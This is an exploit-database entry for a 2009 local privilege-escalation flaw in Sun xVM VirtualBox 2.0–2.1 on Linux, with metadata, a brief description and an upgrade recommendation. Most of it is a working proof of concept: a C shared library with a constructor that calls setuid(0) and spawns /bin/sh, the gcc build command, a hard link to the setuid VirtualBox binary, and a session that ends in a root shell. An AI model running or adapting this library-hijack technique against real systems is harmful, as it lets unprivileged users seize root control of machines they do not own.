Sun xVM VirtualBox Local Privilege Escalation Vulnerability

vendor:

Sun xVM VirtualBox

by:

SecurityFocus

7.2

CVSS

HIGH

Local Privilege Escalation

264

CWE

Product Name: Sun xVM VirtualBox

Affected Version From: Sun xVM VirtualBox 2.0

Affected Version To: Sun xVM VirtualBox 2.1

Patch Exists: YES

Related CWE: N/A

CPE: a:sun_microsystems:sun_xvm_virtualbox

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2009

Sun xVM VirtualBox Local Privilege Escalation Vulnerability

Sun xVM VirtualBox is prone to a local privilege-escalation vulnerability. An attacker can exploit this vulnerability to run arbitrary code with superuser privileges. The attacker can create a shared library file with a constructor that calls setuid() and execve() to execute a shell with root privileges. The attacker then needs to create a symbolic link to the VirtualBox binary and execute it.

Mitigation:

Users should upgrade to the latest version of Sun xVM VirtualBox.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/34080/info

Sun xVM VirtualBox is prone to a local privilege-escalation vulnerability.

An attacker can exploit this vulnerability to run arbitrary code with superuser privileges.

The following versions for the Linux platform are vulnerable:

Sun xVM VirtualBox 2.0
Sun xVM VirtualBox 2.1 

$ id -u
1002

$ cat test.c
#include <unistd.h>
#include <sys/syscall.h>
__attribute__((constructor))
void awesome(void)
{
        char *argv[] = { "sh", NULL };
        extern char *environ;
        syscall(SYS_setuid, 0);
        syscall(SYS_execve, "/bin/sh", argv, environ);
}

$ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2

$ ls -l /opt/VirtualBox/VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox

$ ln /opt/VirtualBox/VirtualBox

$ ls -l VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox

$ ./VirtualBox
./VirtualBox: /home/vapier/libdl.so.2: no version information available
(required by ./VirtualBox)
sh-4.0# whoami
root